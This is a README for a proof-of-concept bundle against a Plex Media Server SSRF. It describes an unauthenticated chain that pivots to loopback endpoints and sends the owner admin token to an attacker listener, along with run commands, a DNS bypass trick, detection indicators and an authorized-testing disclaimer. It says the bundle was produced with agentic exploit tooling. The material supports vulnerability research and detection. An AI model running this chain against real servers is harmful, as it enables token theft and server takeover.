
PoC and verification material for CVE-2026-96652 (Plex Media Server timeline SSRF, owner-token disclosure chain)
PoC and verification material for CVE-2026-96652 (GHSA-5p7w-r379-3c2m, "Plex Media Server allows SSRF via '/player/timeline'", CVSS v3.1 4.3 Medium, CWE-918) — fixed in Plex Media Server 1.43.3.10861.
Overview — the
/player/timelinesubscription endpoint validates theX-Plex-Tokenheader's presence, not its value, and copies the attacker protocol string into a URL the server itself fetches. An unauthenticated attacker therefore makes the Plex Media Server issue HTTP requests of their choosing (server-origin SSRF). Inside the Plex 1.43.3.10828 lab this was chained one step further: the SSRF pivots into loopback-only/system/agents/*endpoints and ends with the server handing out its own owner-level admin token (byte-identical to.LocalAdminToken) to a callback the attacker controls.
| Tier | Status | Evidence |
|---|---|---|
SSRF primitive in isolation: server issues a POST to an attacker-selected URL, any X-Plex-Token value accepted, invalid token included | captured | evidence/01-ssrf-primitive.txt |
Full chain: loopback pivot into /system/agents/z/searchOne (CVE-2026-96654 agent-function access, CVE-2026-96655 owner-token disclosure) → owner admin token exfiltrated → owner-tier endpoints answer 200 | captured | evidence/02-impact-owner-token.txt |
| Patched build negative (1.43.3.10861): subscription returns HTTP 400, no server-originated request observed | captured | evidence/03-negative-patched.txt |
| Reliability: 5/5 per exploit variant on the vulnerable build, 0/5 on the patched build (10 attempts per verdict class total) | captured | evidence/04-reliability-5x.txt |
Evidence transcripts are kept as captured; the leading Command:/CWD:
headers had the operator home path masked as ~ (visible mask, nothing else
touched). Some Command: headers reference the foundry's internal workspace
layout and internal driver filenames; the shipped poc/ drivers reproduce the
same chain, and lab/ reproduces the captured environment. The owner token
visible in the transcripts is the lab container's own .LocalAdminToken (a
lab-local value, regenerated per container); no real-world token appears
anywhere in this bundle.
poc/exploit_opt.py compact driver (ssrf / full modes)
poc/exploit_readable.py same wire sequence, staged and commented
lab/compose.yml vulnerable 1.43.3.10828 (127.0.0.1:32400) vs patched 1.43.3.10861 (32401)
evidence/ captured lab transcripts (paths scrubbed, see above)
Both PoCs speak to local lab instances; the same flows work against any server you are explicitly authorized to test. Python 3.8+, stdlib only.
# full chain: SSRF -> loopback pivot -> owner token theft
python3 poc/exploit_readable.py --target 127.0.0.1:32400 --attacker-ip <bridge-gateway>
# SSRF primitive only (proves CVE-2026-96652 in isolation)
python3 poc/exploit_opt.py --target 127.0.0.1:32400 --attacker-ip <bridge-gateway> --mode ssrf
--attacker-ip must be the attacking host's address as seen from inside the
Plex container — on a default Docker bridge that is the bridge gateway:
docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'.
Knobs: --bind (listener address), --listen-port (default 8952), --wait
(seconds to wait for callbacks, default 30; the readable driver uses at least
half of it per refire attempt, the opt driver the same formula — both cap each
attempt at roughly half the knob by default).
Expected on the vulnerable build: the server issues POST /ssrf-proof?stage=1
to the attacker listener, then the pivoted /system/agents/z/searchOne
response is triggered, then GET /leak arrives carrying X-Plex-Token=local-...
— the owner admin token, which then authenticates /:/prefs and /accounts
with HTTP 200. On the patched build: subscription returns HTTP 400, no
callback, no token.
Exit codes: 0 success, 2 no SSRF callback / no token / token rejected.
X-Plex-Token is sent with a deliberately invalid value; the flaw is that
the server checks header presence, not validity.sslip.io DNS: the hostname literally
starts with 127.0.0.1 (passing the server's string-prefix check that is
supposed to guard the owner token) but resolves to the attacker address.
Without external DNS the pivot stage fails while --mode ssrf still works —
the SSRF itself needs no DNS.ALLOWED_NETWORKS=127.0.0.1/32, so nothing is exposed to the internet./player/timeline-shaped parameters.stage=-prefixed query parameters shaped like :<protocol>/:<dest>/:/timeline.X-Plex-Token=local-... header leaving the server toward an
external host is owner-token compromise — treat the instance as compromised
and rotate the token./system/agents/z/searchOne appears in localhost traffic along with the
forged GetResultFromNetwork plugin call.This repository is security research material. The PoCs are written and verified against locally reconstructed lab instances only; do not run them against systems you do not own or have no explicit authorization to test. Verification tiers above separate what was demonstrated in that lab from what was not.
Produced with the b63 // Agentic Exploit Foundry tooling; all exploitation ran in local containers (pinned images, loopback-only ports, no third-party targets). The material passed a fresh-context review pass before publication (identity scrub, claim-to-evidence mapping, lab reproducibility, tier honesty).
MIT — see LICENSE.